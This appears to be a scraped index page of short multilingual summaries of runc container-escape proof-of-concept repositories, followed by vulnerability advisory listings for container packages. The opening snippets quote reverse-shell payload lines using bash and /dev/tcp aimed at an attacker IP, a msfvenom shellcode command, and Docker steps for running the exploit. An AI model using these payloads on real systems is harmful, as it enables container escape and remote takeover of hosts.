CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Verwendung : Die Maschine ist anfällig für CVE-2019-5736, befolgen Sie die Schritte im Runc-Exploit CVE-2019-5736. Laden Sie die Datei main.go herunter, ändern Sie die Payload in der Datei zu: root@kitploit: var payload = "!/bin/bash \n bash -i &...

cve-2019-5736-poc

Cabeçalhos a adicionar stage2.c bash include bash include Modificar para o IP do PC atacante stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Criar imagem Docker e contêiner root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp...

CVE-2022-0847-container-escape

CVE-2022-0847 Un semplice exploit che usa dirtypipe per iniettare shellcode nell'entrypoint di runC e implementare evasioni dai container. Utilizzo Genera la shellcode codificata in base64 usando msf: root@kitploit: $ msfvenom -p linux/x64/exec CMD="" -f base64 Compila ed esegui nel container; il...

CVE-2019-5736-Custom-Runtime

CVE-2019-5736-Custom-Sandbox Generale CVE-2019-5736 implementato utilizzando un runtime container superficiale e scritto autonomamente per comprendere l'exploit. L'exploit si basa su e quasi interamente copiato da il runc-poc di twistlock:...

cve-2019-5736-exp

cve-2019-5736-exp Questo è un proof-of-concept PoC di exploit per la vulnerabilità CVE-2019-5736 in runc, il runtime utilizzato in Docker. Dichiarazione di non responsabilità Ho intrapreso questo progetto come esercizio, per ragioni educative e per divertimento. Dovrebbe essere scontato che non...

Docker-breakout-runc

Fuga da Docker tramite runc Originariamente da: https://github.com/Frichetten/CVE-2019-5736-PoC. Questo repository è semplicemente un mio esperimento con il PoC e un tentativo di comprendere il flusso dell'exploit...

Learn-about-cve-2025-31133-poc

Learn-about-cve-2025-31133-poc Panoramica Una dimostrazione proof-of-concept e un ambiente di apprendimento per CVE-2025-31133 , una vulnerabilità di sicurezza in runc che consente di bypassare la protezione maskedPaths attraverso una race condition. maskedPaths sono progettati per impedire ai...

Security update for ctop (important)

openSUSE Security Update: Security update for ctop Announcement ID: openSUSE-SU-2026:0292-1 Rating: important References: 1248710 1257431 1265800 1266632 1267805 Cross-References: CVE-2022-21698 CVE-2024-45310 CVE-2026-10722 CVE-2026-33814 CVE-2026-39821 CVSS scores: CVE-2022-21698 SUSE: 7.5...

GHSA-XPHW-4F88-5F39 vulnerabilities

Vulnerabilities for packages: falcosidekick, rancher-webhook, cass-operator, falcoctl, fscrypt, grafana-mimir, aws-load-balancer-controller, cluster-autoscaler, tigera-operator, k8sgpt, gitlab-pages, harbor, newrelic-infra-operator, oauth2-proxy, dynamic-localpv-provisioner, pgtimetable, restic,...

GO-2025-3391 vulnerabilities

Vulnerabilities for packages: harvester-fips, harvester...

GO-2025-3983 vulnerabilities

Vulnerabilities for packages: harvester-fips, harvester...

GO-2024-2491 vulnerabilities

Vulnerabilities for packages: buildkitd, zot, newrelic-infrastructure-agent, k3s, kots, syft, wolfictl, podman, runc, ctop, zarf, k3d, nerdctl, trivy, skaffold, kubescape, skopeo, docker, kubernetes, grype, cadvisor, k9s, kaniko...

GO-2024-3110 vulnerabilities

Vulnerabilities for packages: eks-distro, grafana-alloy-fips, cadvisor-fips, neuvector, k3s, syft, eks-distro-fips, neuvector-scanner, grafana-alloy, gosu, cluster-autoscaler-fips, podman, runc, ctop, neuvector-scanner-fips, neuvector-fips, kubernetes-fips, opentelemetry-collector-contrib-fips,...

GO-2026-4440 vulnerabilities

Vulnerabilities for packages: aws-load-balancer-controller, gitness, rke2-runtime-fips, gitlab-rails-ce, localstack, cilium-envoy-fips, fuse-overlayfs-snapshotter, k3s, etcd-fips, gendesk, runc, wuzz, nvidia-gpu-operator-validator, cilium-envoy, etcd, k8s-device-plugin, terraform,...

GO-2025-4015 vulnerabilities

Vulnerabilities for packages: multus-cni-fips, vexctl, chartmuseum-fips, x509-certificate-exporter-fips, cert-exporter-fips, rancher-telemetry, capslock, vertical-pod-autoscaler-fips, azuredisk-csi-fips, terraform-provider-sendgrid-fips, kafka-proxy, prometheus-node-exporter, harbor, loki,...

GO-2025-4008 vulnerabilities

Vulnerabilities for packages: multus-cni-fips, vexctl, chartmuseum-fips, x509-certificate-exporter-fips, cert-exporter-fips, rancher-telemetry, capslock, vertical-pod-autoscaler-fips, azuredisk-csi-fips, terraform-provider-sendgrid-fips, kafka-proxy, prometheus-node-exporter, harbor, loki,...

GO-2025-4014 vulnerabilities

Vulnerabilities for packages: multus-cni-fips, vexctl, chartmuseum-fips, x509-certificate-exporter-fips, cert-exporter-fips, rancher-telemetry, capslock, vertical-pod-autoscaler-fips, azuredisk-csi-fips, terraform-provider-sendgrid-fips, kafka-proxy, prometheus-node-exporter, harbor, loki,...

GO-2025-4175 vulnerabilities

Vulnerabilities for packages: kube-rbac-proxy-fips, keda-fips, chartmuseum-fips, x509-certificate-exporter-fips, terraform-ls, cert-exporter-fips, rancher-telemetry, vertical-pod-autoscaler-fips, azuredisk-csi-fips, terraform-provider-sendgrid-fips, spire-controller-manager, helm-diff-fips,...

GO-2023-1988 vulnerabilities

Vulnerabilities for packages: dynamic-localpv-provisioner, buildkitd, aactl, azure-aad-pod-identity-mic, prometheus-pushgateway-fips, prometheus-operator, cosign, haproxy-ingress, pulumi-language-java, ollama, terraform-provider-sendgrid-fips, prometheus-node-exporter, kubeflow-fips,...

GO-2024-2611 vulnerabilities

Vulnerabilities for packages: grafana-operator, kube-rbac-proxy-fips, argo-workflows-fips, vexctl, prometheus-pushgateway-fips, cert-exporter-fips, haproxy-ingress, pulumi-language-java, capslock, terraform-provider-sendgrid-fips, prometheus-node-exporter, kyverno-policy-reporter,...